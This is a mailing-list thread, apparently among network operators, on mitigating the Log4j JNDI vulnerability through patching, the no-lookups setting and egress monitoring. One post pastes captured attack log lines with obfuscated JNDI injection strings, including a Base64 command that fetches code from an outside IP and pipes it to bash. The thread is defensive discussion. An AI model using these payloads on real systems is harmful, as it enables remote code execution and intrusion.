The intricacies of Java are over my head, but I’ve been reading about this Log4j issue that sounds pretty bad.
What do we know about this? What, if anything, can a network operator do to help mitigate this? Or even an end user?
This is largely a patching exercise for people that use the software. If you use it, please patch.
The payload can be contained in https, so there is no way of detecting / stopping this at the network level. Installations need to be upgraded / fixed.
https://logging.apache.org/log4j/2.x/security.html
1. upgrade log4j to 2.15.0 and restart all java apps
2. start java with "-D log4j2.formatMsgNoLookups=true" (v2.10+ only)
3. start java with "LOG4J_FORMAT_MSG_NO_LOOKUPS=true" environment variable (v2.10+ only)
4. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
There's a lot of scanning going on at the moment, so if you have an exposed java instance running something which includes log4j2, you may already be compromised.
Nick
Probably not. The problem lies in the functionality of log4j to do token interpolation (think "foo ${bar} baz") not just on the format string that is configured, but also on the values passed into the logging function call.
Let that sit for a minute.
For most applications that receive input over the network, I would expect it's close to impossible to recognise problematic input that might be logged while processing the request, or even at a later stage. The URL is an obvious place, but form input, or even the contents of a ZIP file that is being uploaded might be processed by logging function calls.
The good news is that setting the Java system property log4j2.formatMsgNoLookups to true disables the vulnerable functionality. For most Java server applications, that should be a very quick change.
Stefan
Well if you look to the right you won't see it, but if you look to the left you will see it.
Meaning, that for a successful attack to work, the infected host needs to first download a payload from ldap.
And ldap runs on port 389/636.
You probably can't see the log4j vulnerability in the https, but you should be able to see your servers querying weird stuff on internet on port 389/636.
Just don't allow your important hosts to fetch payload on internet on port 389/636.
Et voila! Look to the left, not to the right.
Jean
It's not true.
It can pull from other ports, URLs, make DNS calls, and seems to evaluate even from environment variables.
It's a "virtual machine".
You are right, but it's still a good place to start looking.
What do you recommend? Panic?
It won't help you.
Jean
You are right, but it's still a good place to start looking.
It is not. It will give you false assumptions.
What do you recommend? Panic?
Yes. Out in public for four days, you better should assume breach by now.
I don't think the implication made that solution space contains only
Snake Oil and panic. There is also an alternative to update the log4j
package, which deserves review before deciding between snake oil and
panic.
In these situation it's time to unite with the server admins and not let them figure out all the patching.
It's possible to see it live crawling in your network. Why let something harmful continue to crawl and spread?
Jean
My apologies, I missed this part. How?
What your netflows, pflow, whatever logging system you have show on port 389, 636 in the last 4 days?
If you reply nothing... I will admit my mistake here publicly. I will be happy to be wrong in your face.
Jean
You can't see it. The attack vector can hide in HTTP GETs, Posts (SSL), in Headers, in anything related to where a Java process does logging with Log4j; it's innumerable. It might even evaluate from a URI itself; it won't use a fixed port. It's not wormy right now, but maybe it will soon.
We are seeing things like this since 10th of Dec. And this is only a typical Apache Logfile for HTTP/HTTPS, where we do logging:
\{jndi:{lower:l}\{lower:d\}{lower:a}\{lower:p\}://195\.54\.160\.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo\}
GET /%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 281 "\{jndi:dns://45\.83\.64\.1/securityscan\-http80\}" "{jndi:dns://45.83.64.1/securityscan-http80}
GET /?x=\{jndi:ldap://{hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a} HTTP/1.1" 200 - "\{jndi:{lower:l}\{lower:d\}{lower:a}\{lower:p\}://{hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}" "\{{::-j}\{::\-n\}{::-d}\{::\-i\}:{::-l}\{::\-d\}{::-a}\{::\-p\}://{hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}
The Base64 part tries to open a shell on the target host, you can decode yourself.
This should translate in a query from your infected server toward an infected server controlled by a malicious hacker on port 389.
x=\{jndi:ldap://{hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a}
Right?
Jean
I think you meant "you can't reliably see it". This doesn't mean
that it isn't worth looking for obvious cases where you CAN see
it.
... JG
Yes, but it won't change the outcome. We shall run with assuming breach paradigm. In this scenario, it might be useless looking around for port 389 only; it can give you a wrong assumption.
When a vulnerable system has a reachable path to the Internet and can open a reverse shell alone from the URI, waiting for 389 is hopeless. 389 might be the initial starting port for the first wave of scanner and opportunist attackers, but it has already developed further.
Cloudflare already talks about the broad spectrum of possible payloads, where you can see that people try to load their payload via DNS (port 53). Similar, what I posted half hour ago.
https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/
That's like arguing that it isn't worth having a canary in the coal
mine. Which, come to think of it, was implicitly the point of the
message I sent that you're replying to as well. Just because there
are other sources of fatalities, doesn't mean you can't check for
the quick obvious stuff. In my experience, this tends to reveal
issues that might have been forgotten or never known about to begin
with. Most organizations have a variety of zombie legacy systems
that were set up by people on staff several generations ago.
The more tools at your disposal to identify breached systems, the
better.
... JG
I understand what you want to say, but I disagree in this point. When you have a cup full of water and someone remotely can drill holes into the out shell, just checking the bottom for leaks won't help. You may want a new mug instead. 
The initial posting was about looking at the bottom only.
Now we have the long journey from Java, Ldap, DNS, Birds and Coffee Cups behind us. Does anyone else have any advice on prevention?
Indeed.
One check, even an inadequate one, is better than no checks at all. And
over time you can add more checks or improve the ones you have.
Don't let "perfect" be the enemy of "good".
Regards, K.